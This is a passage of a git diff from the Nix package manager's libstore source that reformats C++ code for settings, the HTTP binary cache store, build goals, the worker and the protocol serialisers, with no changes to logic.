"aarch64-darwin" && - runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0) + if (std::string{NIX_LOCAL_SYSTEM} == "aarch64-darwin" + && runProgram( + RunOptions{.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}) + .first + == 0) extraPlatforms.insert("x86_64-darwin"); #endif @@ -237,41 +242,57 @@ bool Settings::isWSL1() Path Settings::getDefaultSSLCertFile() { - for (auto & fn : {"/etc/ssl/certs/ca-certificates.crt", "/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt"}) - if (pathAccessible(fn)) return fn; + for (auto & fn : + {"/etc/ssl/certs/ca-certificates.crt", "/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt"}) + if (pathAccessible(fn)) + return fn; return ""; } std::string nixVersion = PACKAGE_VERSION; -NLOHMANN_JSON_SERIALIZE_ENUM(SandboxMode, { - {SandboxMode::smEnabled, true}, - {SandboxMode::smRelaxed, "relaxed"}, - {SandboxMode::smDisabled, false}, -}); +NLOHMANN_JSON_SERIALIZE_ENUM( + SandboxMode, + { + {SandboxMode::smEnabled, true}, + {SandboxMode::smRelaxed, "relaxed"}, + {SandboxMode::smDisabled, false}, + }); -template<> SandboxMode BaseSetting::parse(const std::string & str) const +template<> +SandboxMode BaseSetting::parse(const std::string & str) const { - if (str == "true") return smEnabled; - else if (str == "relaxed") return smRelaxed; - else if (str == "false") return smDisabled; - else throw UsageError("option '%s' has invalid value '%s'", name, str); + if (str == "true") + return smEnabled; + else if (str == "relaxed") + return smRelaxed; + else if (str == "false") + return smDisabled; + else + throw UsageError("option '%s' has invalid value '%s'", name, str); } -template<> struct BaseSetting::trait +template<> +struct BaseSetting::trait { static constexpr bool appendable = false; }; -template<> std::string BaseSetting::to_string() const +template<> +std::string BaseSetting::to_string() const { - if (value == smEnabled) return "true"; - else if (value == smRelaxed) return "relaxed"; - else if (value == smDisabled) return "false"; - else unreachable(); + if (value == smEnabled) + return "true"; + else if (value == smRelaxed) + return "relaxed"; + else if (value == smDisabled) + return "false"; + else + unreachable(); } -template<> void BaseSetting::convertToArg(Args & args, const std::string & category) +template<> +void BaseSetting::convertToArg(Args & args, const std::string & category) { args.addFlag({ .longName = name, @@ -298,7 +319,8 @@ template<> void BaseSetting::convertToArg(Args & args, const std::s unsigned int MaxBuildJobsSetting::parse(const std::string & str) const { - if (str == "auto") return std::max(1U, std::thread::hardware_concurrency()); + if (str == "auto") + return std::max(1U, std::thread::hardware_concurrency()); else { if (auto n = string2Int(str)) return *n; @@ -307,7 +329,6 @@ unsigned int MaxBuildJobsSetting::parse(const std::string & str) const } } - static void preloadNSS() { /* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of @@ -346,15 +367,18 @@ static void preloadNSS() static bool initLibStoreDone = false; -void assertLibStoreInitialized() { +void assertLibStoreInitialized() +{ if (!initLibStoreDone) { printError("The program must call nix::initNix() before calling any libstore library functions."); abort(); }; } -void initLibStore(bool loadConfig) { - if (initLibStoreDone) return; +void initLibStore(bool loadConfig) +{ + if (initLibStoreDone) + return; initLibUtil(); @@ -371,7 +395,8 @@ void initLibStore(bool loadConfig) { by calling curl_global_init here, which should mean curl will already have been initialized by the time we try to do so in a forked process. - [1] https://github.com/apple-oss-distributions/objc4/blob/01edf1705fbc3ff78a423cd21e03dfc21eb4d780/runtime/objc-initialize.mm#L614-L636 + [1] + https://github.com/apple-oss-distributions/objc4/blob/01edf1705fbc3ff78a423cd21e03dfc21eb4d780/runtime/objc-initialize.mm#L614-L636 */ curl_global_init(CURL_GLOBAL_ALL); #ifdef __APPLE__ @@ -385,5 +410,4 @@ void initLibStore(bool loadConfig) { initLibStoreDone = true; } - } diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc index 4c13d5c73..82ede7402 100644 --- a/src/libstore/http-binary-cache-store.cc +++ b/src/libstore/http-binary-cache-store.cc @@ -8,33 +8,26 @@ namespace nix { MakeError(UploadToHTTP, Error); - HttpBinaryCacheStoreConfig::HttpBinaryCacheStoreConfig( - std::string_view scheme, - std::string_view _cacheUri, - const Params & params) + std::string_view scheme, std::string_view _cacheUri, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , cacheUri( - std::string { scheme } - + "://" - + (!_cacheUri.empty() - ? _cacheUri - : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme))) + std::string{scheme} + "://" + + (!_cacheUri.empty() ? _cacheUri + : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme))) { while (!cacheUri.empty() && cacheUri.back() == '/') cacheUri.pop_back(); } - std::string HttpBinaryCacheStoreConfig::doc() { return - #include "http-binary-cache-store.md" - ; +#include "http-binary-cache-store.md" + ; } - class HttpBinaryCacheStore : public virtual HttpBinaryCacheStoreConfig, public virtual BinaryCacheStore { private: @@ -49,10 +42,7 @@ private: public: - HttpBinaryCacheStore( - std::string_view scheme, - PathView cacheUri, - const Params & params) + HttpBinaryCacheStore(std::string_view scheme, PathView cacheUri, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , HttpBinaryCacheStoreConfig(scheme, cacheUri, params) @@ -99,7 +89,8 @@ protected: void checkEnabled() { auto state(_state.lock()); - if (state->enabled) return; + if (state->enabled) + return; if (std::chrono::steady_clock::now() > state->disabledUntil) { state->enabled = true; debug("re-enabling binary cache '%s'", getUri()); @@ -127,7 +118,8 @@ protected: } } - void upsertFile(const std::string & path, + void upsertFile( + const std::string & path, std::shared_ptr> istream, const std::string & mimeType) override { @@ -145,9 +137,8 @@ protected: { return FileTransferRequest( hasPrefix(path, "https://") || hasPrefix(path, "http://") || hasPrefix(path, "file://") - ? path - : cacheUri + "/" + path); - + ? path + : cacheUri + "/" + path); } void getFile(const std::string & path, Sink & sink) override @@ -164,8 +155,7 @@ protected: } } - void getFile(const std::string & path, - Callback> callback) noexcept override + void getFile(const std::string & path, Callback> callback) noexcept override { try { checkEnabled(); @@ -174,8 +164,8 @@ protected: auto callbackPtr = std::make_shared(std::move(callback)); - getFileTransfer()->enqueueFileTransfer(request, - {[callbackPtr, this](std::future result) { + getFileTransfer()->enqueueFileTransfer( + request, {[callbackPtr, this](std::future result) { try { (*callbackPtr)(std::move(result.get().data)); } catch (FileTransferError & e) { @@ -186,7 +176,7 @@ protected: } catch (...) { callbackPtr->rethrow(); } - }}); + }}); } catch (...) { callback.rethrow(); diff --git a/src/libstore/include/nix/store/binary-cache-store.hh b/src/libstore/include/nix/store/binary-cache-store.hh index da4906d3f..8cca26a2d 100644 --- a/src/libstore/include/nix/store/binary-cache-store.hh +++ b/src/libstore/include/nix/store/binary-cache-store.hh @@ -17,28 +17,39 @@ struct BinaryCacheStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; - const Setting compression{this, "xz", "compression", - "NAR compression method (`xz`, `bzip2`, `gzip`, `zstd`, or `none`)."}; + const Setting compression{ + this, "xz", "compression", "NAR compression method (`xz`, `bzip2`, `gzip`, `zstd`, or `none`)."}; - const Setting writeNARListing{this, false, "write-nar-listing", - "Whether to write a JSON file that lists the files in each NAR."}; + const Setting writeNARListing{ + this, false, "write-nar-listing", "Whether to write a JSON file that lists the files in each NAR."}; - const Setting writeDebugInfo{this, false, "index-debug-info", + const Setting writeDebugInfo{ + this, + false, + "index-debug-info", R"( Whether to index DWARF debug info files by build ID. This allows [`dwarffs`](https://github.com/edolstra/dwarffs) to fetch debug info on demand )"}; - const Setting secretKeyFile{this, "", "secret-key", - "Path to the secret key used to sign the binary cache."}; + const Setting secretKeyFile{this, "", "secret-key", "Path to the secret key used to sign the binary cache."}; - const Setting localNarCache{this, "", "local-nar-cache", + const Setting localNarCache{ + this, + "", + "local-nar-cache", "Path to a local cache of NARs fetched from this binary cache, used by commands such as `nix store cat`."}; - const Setting parallelCompression{this, false, "parallel-compression", + const Setting parallelCompression{ + this, + false, + "parallel-compression", "Enable multi-threaded compression of NARs. This is currently only available for `xz` and `zstd`."}; - const Setting compressionLevel{this, -1, "compression-level", + const Setting compressionLevel{ + this, + -1, + "compression-level", R"( The *preset level* to be used when compressing NARs. The meaning and accepted values depend on the compression method selected. @@ -46,14 +57,11 @@ struct BinaryCacheStoreConfig : virtual StoreConfig )"}; }; - /** * @note subclasses must implement at least one of the two * virtual getFile() methods. */ -class BinaryCacheStore : public virtual BinaryCacheStoreConfig, - public virtual Store, - public virtual LogStore +class BinaryCacheStore : public virtual BinaryCacheStoreConfig, public virtual Store, public virtual LogStore { private: @@ -72,11 +80,11 @@ public: virtual bool fileExists(const std::string & path) = 0; - virtual void upsertFile(const std::string & path, - std::shared_ptr> istream, - const std::string & mimeType) = 0; + virtual void upsertFile( + const std::string & path, std::shared_ptr> istream, const std::string & mimeType) = 0; - void upsertFile(const std::string & path, + void upsertFile( + const std::string & path, // FIXME: use std::string_view std::string && data, const std::string & mimeType); @@ -96,9 +104,7 @@ public: * Fetch the specified file and call the specified callback with * the result. A subclass may implement this asynchronously. */ - virtual void getFile( - const std::string & path, - Callback> callback) noexcept; + virtual void getFile(const std::string & path, Callback> callback) noexcept; std::optional getFile(const std::string & path); @@ -115,20 +121,22 @@ private: void writeNarInfo(ref narInfo); ref addToStoreCommon( - Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs, + Source & narSource, + RepairFlag repair, + CheckSigsFlag checkSigs, std::function mkInfo); public: bool isValidPathUncached(const StorePath & path) override; - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override; + void queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept override; std::optional queryPathFromHashPart(const std::string & hashPart) override; - void addToStore(const ValidPathInfo & info, Source & narSource, - RepairFlag repair, CheckSigsFlag checkSigs) override; + void + addToStore(const ValidPathInfo & info, Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs) override; StorePath addToStoreFromDump( Source & dump, @@ -150,8 +158,8 @@ public: void registerDrvOutput(const Realisation & info) override; - void queryRealisationUncached(const DrvOutput &, - Callback> callback) noexcept override; + void queryRealisationUncached( + const DrvOutput &, Callback> callback) noexcept override; void narFromPath(const StorePath & path, Sink & sink) override; @@ -162,7 +170,6 @@ public: std::optional getBuildLogExact(const StorePath & path) override; void addBuildLog(const StorePath & drvPath, std::string_view log) override; - }; MakeError(NoSuchBinaryCacheFile, Error); diff --git a/src/libstore/include/nix/store/build-result.hh b/src/libstore/include/nix/store/build-result.hh index edc77a523..1a184854a 100644 --- a/src/libstore/include/nix/store/build-result.hh +++ b/src/libstore/include/nix/store/build-result.hh @@ -46,25 +46,42 @@ struct BuildResult */ std::string errorMsg; - std::string toString() const { + std::string toString() const + { auto strStatus = [&]() { switch (status) { - case Built: return "Built"; - case Substituted: return "Substituted"; - case AlreadyValid: return "AlreadyValid"; - case PermanentFailure: return "PermanentFailure"; - case InputRejected: return "InputRejected"; - case OutputRejected: return "OutputRejected"; - case TransientFailure: return "TransientFailure"; - case CachedFailure: return "CachedFailure"; - case TimedOut: return "TimedOut"; - case MiscFailure: return "MiscFailure"; - case DependencyFailed: return "DependencyFailed"; - case LogLimitExceeded: return "LogLimitExceeded"; - case NotDeterministic: return "NotDeterministic"; - case ResolvesToAlreadyValid: return "ResolvesToAlreadyValid"; - case NoSubstituters: return "NoSubstituters"; - default: return "Unknown"; + case Built: + return "Built"; + case Substituted: + return "Substituted"; + case AlreadyValid: + return "AlreadyValid"; + case PermanentFailure: + return "PermanentFailure"; + case InputRejected: + return "InputRejected"; + case OutputRejected: + return "OutputRejected"; + case TransientFailure: + return "TransientFailure"; + case CachedFailure: + return "CachedFailure"; + case TimedOut: + return "TimedOut"; + case MiscFailure: + return "MiscFailure"; + case DependencyFailed: + return "DependencyFailed"; + case LogLimitExceeded: + return "LogLimitExceeded"; + case NotDeterministic: + return "NotDeterministic"; + case ResolvesToAlreadyValid: + return "ResolvesToAlreadyValid"; + case NoSubstituters: + return "NoSubstituters"; + default: + return "Unknown"; }; }(); return strStatus + ((errorMsg == "") ? "" : " : " + errorMsg); @@ -100,8 +117,8 @@ struct BuildResult */ std::optional cpuUser, cpuSystem; - bool operator ==(const BuildResult &) const noexcept; - std::strong_ordering operator <=>(const BuildResult &) const noexcept; + bool operator==(const BuildResult &) const noexcept; + std::strong_ordering operator<=>(const BuildResult &) const noexcept; bool success() { @@ -126,8 +143,10 @@ struct KeyedBuildResult : BuildResult // Hack to work around a gcc "may be used uninitialized" warning. KeyedBuildResult(BuildResult res, DerivedPath path) - : BuildResult(std::move(res)), path(std::move(path)) - { } + : BuildResult(std::move(res)) + , path(std::move(path)) + { + } }; } diff --git a/src/libstore/include/nix/store/build/derivation-goal.hh b/src/libstore/include/nix/store/build/derivation-goal.hh index 3baf4babf..d4aad509f 100644 --- a/src/libstore/include/nix/store/build/derivation-goal.hh +++ b/src/libstore/include/nix/store/build/derivation-goal.hh @@ -19,7 +19,7 @@ using std::map; struct HookInstance; #endif -typedef enum {rpAccept, rpDecline, rpPostpone} HookReply; +typedef enum { rpAccept, rpDecline, rpPostpone } HookReply; /** * Unless we are repairing, we don't both to test validity and just assume it, @@ -31,43 +31,39 @@ enum struct PathStatus { Valid, }; -struct InitialOutputStatus { +struct InitialOutputStatus +{ StorePath path; PathStatus status; /** * Valid in the store, and additionally non-corrupt if we are repairing */ - bool isValid() const { + bool isValid() const + { return status == PathStatus::Valid; } /** * Merely present, allowed to be corrupt */ - bool isPresent() const { - return status == PathStatus::Corrupt - || status == PathStatus::Valid; + bool isPresent() const + { + return status == PathStatus::Corrupt || status == PathStatus::Valid; } }; -struct InitialOutput { +struct InitialOutput +{ bool wanted; Hash outputHash; std::optional known; }; /** Used internally */ -void runPostBuildHook( - Store & store, - Logger & logger, - const StorePath & drvPath, - const StorePathSet & outputPaths); +void runPostBuildHook(Store & store, Logger & logger, const StorePath & drvPath, const StorePathSet & outputPaths); /** Used internally */ void appendLogTailErrorMsg( - const Store & store, - const StorePath & drvPath, - const std::list & logTail, - std::string & msg); + const Store & store, const StorePath & drvPath, const std::list & logTail, std::string & msg); /** * A goal for building some or all of the outputs of a derivation. @@ -216,11 +212,13 @@ struct DerivationGoal : public Goal */ std::string machineName; - DerivationGoal(const StorePath & drvPath, - const OutputsSpec & wantedOutputs, Worker & worker, - BuildMode buildMode = bmNormal); - DerivationGoal(const StorePath & drvPath, const BasicDerivation & drv, - const OutputsSpec & wantedOutputs, Worker & worker, + DerivationGoal( + const StorePath & drvPath, const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode = bmNormal); + DerivationGoal( + const StorePath & drvPath, + const BasicDerivation & drv, + const OutputsSpec & wantedOutputs, + Worker & worker, BuildMode buildMode = bmNormal); virtual ~DerivationGoal(); @@ -300,14 +298,12 @@ struct DerivationGoal : public Goal void started(); - Done done( - BuildResult::Status status, - SingleDrvOutputs builtOutputs = {}, - std::optional ex = {}); + Done done(BuildResult::Status status, SingleDrvOutputs builtOutputs = {}, std::optional ex = {}); StorePathSet exportReferences(const StorePathSet & storePaths); - JobCategory jobCategory() const override { + JobCategory jobCategory() const override + { return JobCategory::Build; }; }; diff --git a/src/libstore/include/nix/store/build/drv-output-substitution-goal.hh b/src/libstore/include/nix/store/build/drv-output-substitution-goal.hh index a00de41ad..0e03749af 100644 --- a/src/libstore/include/nix/store/build/drv-output-substitution-goal.hh +++ b/src/libstore/include/nix/store/build/drv-output-substitution-goal.hh @@ -20,7 +20,8 @@ class Worker; * 2. Substitute the corresponding output path * 3. Register the output info */ -class DrvOutputSubstitutionGoal : public Goal { +class DrvOutputSubstitutionGoal : public Goal +{ /** * The drv output we're trying to substitute @@ -28,7 +29,11 @@ class DrvOutputSubstitutionGoal : public Goal { DrvOutput id; public: - DrvOutputSubstitutionGoal(const DrvOutput& id, Worker & worker, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); + DrvOutputSubstitutionGoal( + const DrvOutput & id, + Worker & worker, + RepairFlag repair = NoRepair, + std::optional ca = std::nullopt); typedef void (DrvOutputSubstitutionGoal::*GoalState)(); GoalState state; @@ -36,13 +41,17 @@ public: Co init() override; Co realisationFetched(Goals waitees, std::shared_ptr outputInfo, nix::ref sub); - void timedOut(Error && ex) override { unreachable(); }; + void timedOut(Error && ex) override + { + unreachable(); + }; std::string key() override; void handleEOF(Descriptor fd) override; - JobCategory jobCategory() const override { + JobCategory jobCategory() const override + { return JobCategory::Substitution; }; }; diff --git a/src/libstore/include/nix/store/build/goal.hh b/src/libstore/include/nix/store/build/goal.hh index 9be27f6b3..ab56db494 100644 --- a/src/libstore/include/nix/store/build/goal.hh +++ b/src/libstore/include/nix/store/build/goal.hh @@ -20,8 +20,9 @@ class Worker; typedef std::shared_ptr GoalPtr; typedef std::weak_ptr WeakGoalPtr; -struct CompareGoalPtrs { - bool operator() (const GoalPtr & a, const GoalPtr & b) const; +struct CompareGoalPtrs +{ + bool operator()(const GoalPtr & a, const GoalPtr & b) const; }; /** @@ -61,7 +62,7 @@ private: Goals waitees; public: - typedef enum {ecBusy, ecSuccess, ecFailed, ecNoSubstituters, ecIncompleteClosure} ExitCode; + typedef enum { ecBusy, ecSuccess, ecFailed, ecNoSubstituters, ecIncompleteClosure } ExitCode; /** * Backlink to the worker. @@ -112,22 +113,25 @@ public: * Suspend our goal and wait until we get `work`-ed again. * `co_await`-able by @ref Co. */ - struct Suspend {}; + struct Suspend + {}; /** * Return from the current coroutine and suspend our goal * if we're not busy anymore, or jump to the next coroutine * set to be executed/resumed. */ - struct Return {}; + struct Return + {}; /** * `co_return`-ing this will end the goal. * If you're not inside a coroutine, you can safely discard this. */ - struct [[nodiscard]] Done { - private: - Done(){} + struct [[nodiscard]] Done + { + private: + Done() {} friend Goal; }; @@ -181,18 +185,23 @@ public: * * @todo Support returning data natively */ - struct [[nodiscard]] Co { + struct [[nodiscard]] Co + { /** * The underlying handle. */ handle_type handle; - explicit Co(handle_type handle) : handle(handle) {}; - void operator=(Co&&); - Co(Co&& rhs); + explicit Co(handle_type handle) + : handle(handle) {}; + void operator=(Co &&); + Co(Co && rhs); ~Co(); - bool await_ready() { return false; }; + bool await_ready() + { + return false; + }; /** * When we `co_await` another `Co`-returning coroutine, * we tell the caller of `caller_coroutine.resume()` to switch to our coroutine (@ref handle). @@ -213,21 +222,27 @@ public: * Used on initial suspend, does the same as `std::suspend_always`, * but asserts that everything has been set correctly. */ - struct InitialSuspend { + struct InitialSuspend + { /** * Handle of coroutine that does the * initial suspend */ handle_type handle; - bool await_ready() { return false; }; - void await_suspend(handle_type handle_) { + bool await_ready() + { + return false; + }; + void await_suspend(handle_type handle_) + { handle = handle_; } - void await_resume() { + void await_resume() + { assert(handle); - assert(handle.promise().goal); // goal must be set - assert(handle.promise().goal->top_co); // top_co of goal must be set + assert(handle.promise().goal); // goal must be set + assert(handle.promise().goal->top_co); // top_co of goal must be set assert(handle.promise().goal->top_co->handle == handle); // top_co of goal must be us } }; @@ -236,7 +251,8 @@ public: * Promise type for coroutines defined using @ref Co. * Attached to coroutine handle. */ - struct promise_type { + struct promise_type + { /** * Either this is who called us, or it is who we will tail-call. * It is what we "jump" to once we are done. @@ -247,7 +263,7 @@ public: * The goal that we're a part of. * Set either in @ref Co::await_suspend or in constructor of @ref Goal. */ - Goal* goal = nullptr; + Goal * goal = nullptr; /** * Is set to false when destructed to ensure we don't use a @@ -258,8 +274,12 @@ public: /** * The awaiter used by @ref final_suspend. */ - struct final_awaiter { - bool await_ready() noexcept { return false; }; + struct final_awaiter + { + bool await_ready() noexcept + { + return false; + }; /** * Here we execute our continuation, by passing it back to the caller. * C++ compiler will create code that takes that and executes it promptly. @@ -267,7 +287,10 @@ public: * thus it must be destroyed. */ std::coroutine_handle<> await_suspend(handle_type h) noexcept; - void await_resume() noexcept { assert(false); }; + void await_resume() noexcept + { + assert(false); + }; }; /** @@ -281,13 +304,19 @@ public: * We use this opportunity to set the @ref goal field * and `top_co` field of @ref Goal. */ - InitialSuspend initial_suspend() { return {}; }; + InitialSuspend initial_suspend() + { + return {}; + }; /** * Called on `co_return`. Creates @ref final_awaiter which * either jumps to continuation or suspends goal. */ - final_awaiter final_suspend() noexcept { return {}; }; + final_awaiter final_suspend() noexcept + { + return {}; + }; /** * Does nothing, but provides an opportunity for @@ -314,24 +343,33 @@ public: * the continuation of the new continuation. Thus, the continuation * passed to @ref return_value must not have a continuation set. */ - void return_value(Co&&); + void return_value(Co &&); /** * If an exception is thrown inside a coroutine, * we re-throw it in the context of the "resumer" of the continuation. */ - void unhandled_exception() { throw; }; + void unhandled_exception() + { + throw; + }; /** * Allows awaiting a @ref Co. */ - Co&& await_transform(Co&& co) { return static_cast(co); } + Co && await_transform(Co && co) + { + return static_cast(co); + } /** * Allows awaiting a @ref Suspend. * Always suspends. */ - std::suspend_always await_transform(Suspend) { return {}; }; + std::suspend_always await_transform(Suspend) + { + return {}; + }; }; protected: @@ -363,7 +401,7 @@ protected: Done amDone(ExitCode result, std::optional ex = {}); public: - virtual void cleanup() { } + virtual void cleanup() {} /** * Project a `BuildResult` with just the information that pertains @@ -383,7 +421,8 @@ public: std::optional ex; Goal(Worker & worker) - : worker(worker), top_co(init_wrapper()) + : worker(worker) + , top_co(init_wrapper()) { // top_co shouldn't have a goal already, should be nullptr. assert(!top_co->handle.promise().goal); @@ -443,10 +482,12 @@ void addToWeakGoals(WeakGoals & goals, GoalPtr p); } template -struct std::coroutine_traits { +struct std::coroutine_traits +{ using promise_type = nix::Goal::promise_type; }; -nix::Goal::Co nix::Goal::init_wrapper() { +nix::Goal::Co nix::Goal::init_wrapper() +{ co_return init(); } diff --git a/src/libstore/include/nix/store/build/substitution-goal.hh b/src/libstore/include/nix/store/build/substitution-goal.hh index 7b68b0821..e76bf1a7d 100644 --- a/src/libstore/include/nix/store/build/substitution-goal.hh +++ b/src/libstore/include/nix/store/build/substitution-goal.hh @@ -33,24 +33,28 @@ struct PathSubstitutionGoal : public Goal */ std::thread thr; - std::unique_ptr> maintainExpectedSubstitutions, - maintainRunningSubstitutions, maintainExpectedNar, maintainExpectedDownload; + std::unique_ptr> maintainExpectedSubstitutions, maintainRunningSubstitutions, + maintainExpectedNar, maintainExpectedDownload; /** * Content address for recomputing store path */ std::optional ca; - Done done( - ExitCode result, - BuildResult::Status status, - std::optional errorMsg = {}); + Done done(ExitCode result, BuildResult::Status status, std::optional errorMsg = {}); public: - PathSubstitutionGoal(const StorePath & storePath, Worker & worker, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); + PathSubstitutionGoal( + const StorePath & storePath, + Worker & worker, + RepairFlag repair = NoRepair, + std::optional ca = std::nullopt); ~PathSubstitutionGoal(); - void timedOut(Error && ex) override { unreachable(); }; + void timedOut(Error && ex) override + { + unreachable(); + }; /** * We prepend "a$" to the key name to ensure substitution goals @@ -66,7 +70,8 @@ public: */ Co init() override; Co gotInfo(); - Co tryToRun(StorePath subPath, nix::ref sub, std::shared_ptr info, bool & substituterFailed); + Co tryToRun( + StorePath subPath, nix::ref sub, std::shared_ptr info, bool & substituterFailed); Co finished(); /** @@ -78,7 +83,8 @@ public: /* Called by destructor, can't be overridden */ void cleanup() override final; - JobCategory jobCategory() const override { + JobCategory jobCategory() const override + { return JobCategory::Substitution; }; }; diff --git a/src/libstore/include/nix/store/build/worker.hh b/src/libstore/include/nix/store/build/worker.hh index 7e03a0c2f..c4bf7c4f5 100644 --- a/src/libstore/include/nix/store/build/worker.hh +++ b/src/libstore/include/nix/store/build/worker.hh @@ -197,21 +197,25 @@ public: */ private: std::shared_ptr makeDerivationGoalCommon( - const StorePath & drvPath, const OutputsSpec & wantedOutputs, + const StorePath & drvPath, + const OutputsSpec & wantedOutputs, std::function()> mkDrvGoal); public: - std::shared_ptr makeDerivationGoal( - const StorePath & drvPath, - const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); + std::shared_ptr + makeDerivationGoal(const StorePath & drvPath, const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); std::shared_ptr makeBasicDerivationGoal( - const StorePath & drvPath, const BasicDerivation & drv, - const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); + const StorePath & drvPath, + const BasicDerivation & drv, + const OutputsSpec & wantedOutputs, + BuildMode buildMode = bmNormal); /** * @ref PathSubstitutionGoal "substitution goal" */ - std::shared_ptr makePathSubstitutionGoal(const StorePath & storePath, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); - std::shared_ptr makeDrvOutputSubstitutionGoal(const DrvOutput & id, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); + std::shared_ptr makePathSubstitutionGoal( + const StorePath & storePath, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); + std::shared_ptr makeDrvOutputSubstitutionGoal( + const DrvOutput & id, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); /** * Make a goal corresponding to the `DerivedPath`. @@ -246,8 +250,11 @@ public: * Registers a running child process. `inBuildSlot` means that * the process counts towards the jobs limit. */ - void childStarted(GoalPtr goal, const std::set & channels, - bool inBuildSlot, bool respectTimeouts); + void childStarted( + GoalPtr goal, + const std::set & channels, + bool inBuildSlot, + bool respectTimeouts); /** * Unregisters a running child process. `wakeSleepers` should be @@ -321,7 +328,8 @@ public: void updateProgress() { actDerivations.progress(doneBuilds, expectedBuilds + doneBuilds, runningBuilds, failedBuilds); - actSubstitutions.progress(doneSubstitutions, expectedSubstitutions + doneSubstitutions, runningSubstitutions, failedSubstitutions); + actSubstitutions.progress( + doneSubstitutions, expectedSubstitutions + doneSubstitutions, runningSubstitutions, failedSubstitutions); act.setExpected(actFileTransfer, expectedDownloadSize + doneDownloadSize); act.setExpected(actCopyPath, expectedNarSize + doneNarSize); } diff --git a/src/libstore/include/nix/store/builtins.hh b/src/libstore/include/nix/store/builtins.hh index 004e9ef64..1a80343ff 100644 --- a/src/libstore/include/nix/store/builtins.hh +++ b/src/libstore/include/nix/store/builtins.hh @@ -12,8 +12,6 @@ void builtinFetchurl( const std::string & netrcData, const std::string & caFileData); -void builtinUnpackChannel( - const BasicDerivation & drv, - const std::map & outputs); +void builtinUnpackChannel(const BasicDerivation & drv, const std::map & outputs); } diff --git a/src/libstore/include/nix/store/builtins/buildenv.hh b/src/libstore/include/nix/store/builtins/buildenv.hh index a0a262037..a3f38d8a2 100644 --- a/src/libstore/include/nix/store/builtins/buildenv.hh +++ b/src/libstore/include/nix/store/builtins/buildenv.hh @@ -8,11 +8,17 @@ namespace nix { /** * Think of this as a "store level package attrset", but stripped down to no more than the needs of buildenv. */ -struct Package { +struct Package +{ Path path; bool active; int priority; - Package(const Path & path, bool active, int priority) : path{path}, active{active}, priority{priority} {} + Package(const Path & path, bool active, int priority) + : path{path} + , active{active} + , priority{priority} + { + } }; class BuildEnvFileConflictError : public Error @@ -22,31 +28,25 @@ public: const Path fileB; int priority; - BuildEnvFileConflictError( - const Path fileA, - const Path fileB, - int priority - ) + BuildEnvFileConflictError(const Path fileA, const Path fileB, int priority) : Error( - "Unable to build profile. There is a conflict for the following files:\n" - "\n" - " %1%\n" - " %2%", - fileA, - fileB - ) + "Unable to build profile. There is a conflict for the following files:\n" + "\n" + " %1%\n" + " %2%", + fileA, + fileB) , fileA(fileA) , fileB(fileB) , priority(priority) - {} + { + } }; typedef std::vector Packages; void buildProfile(const Path & out, Packages && pkgs); -void builtinBuildenv( - const BasicDerivation & drv, - const std::map & outputs); +void builtinBuildenv(const BasicDerivation & drv, const std::map & outputs); } diff --git a/src/libstore/include/nix/store/common-protocol-impl.hh b/src/libstore/include/nix/store/common-protocol-impl.hh index 171b4c6a5..7992ac608 100644 --- a/src/libstore/include/nix/store/common-protocol-impl.hh +++ b/src/libstore/include/nix/store/common-protocol-impl.hh @@ -15,14 +15,15 @@ namespace nix { /* protocol-agnostic templates */ -#define COMMON_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ - TEMPLATE T CommonProto::Serialise< T >::read(const StoreDirConfig & store, CommonProto::ReadConn conn) \ - { \ - return LengthPrefixedProtoHelper::read(store, conn); \ - } \ - TEMPLATE void CommonProto::Serialise< T >::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const T & t) \ - { \ - LengthPrefixedProtoHelper::write(store, conn, t); \ +#define COMMON_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ + TEMPLATE T CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) \ + { \ + return LengthPrefixedProtoHelper::read(store, conn); \ + } \ + TEMPLATE void CommonProto::Serialise::write( \ + const StoreDirConfig & store, CommonProto::WriteConn conn, const T & t) \ + { \ + LengthPrefixedProtoHelper::write(store, conn, t); \ } COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::vector) @@ -30,12 +31,9 @@ COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::set) COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::tuple) #define COMMA_ , -COMMON_USE_LENGTH_PREFIX_SERIALISER( - template, - std::map) +COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::map) #undef COMMA_ - /* protocol-specific templates */ } diff --git a/src/libstore/include/nix/store/common-protocol.hh b/src/libstore/include/nix/store/common-protocol.hh index b464cda67..03e5e8919 100644 --- a/src/libstore/include/nix/store/common-protocol.hh +++ b/src/libstore/include/nix/store/common-protocol.hh @@ -14,7 +14,6 @@ struct ContentAddress; struct DrvOutput; struct Realisation; - /** * Shared serializers between the worker protocol, serve protocol, and a * few others. @@ -28,7 +27,8 @@ struct CommonProto * A unidirectional read connection, to be used by the read half of the * canonical serializers below. */ - struct ReadConn { + struct ReadConn + { Source & from; }; @@ -36,7 +36,8 @@ struct CommonProto * A unidirectional write connection, to be used by the write half of 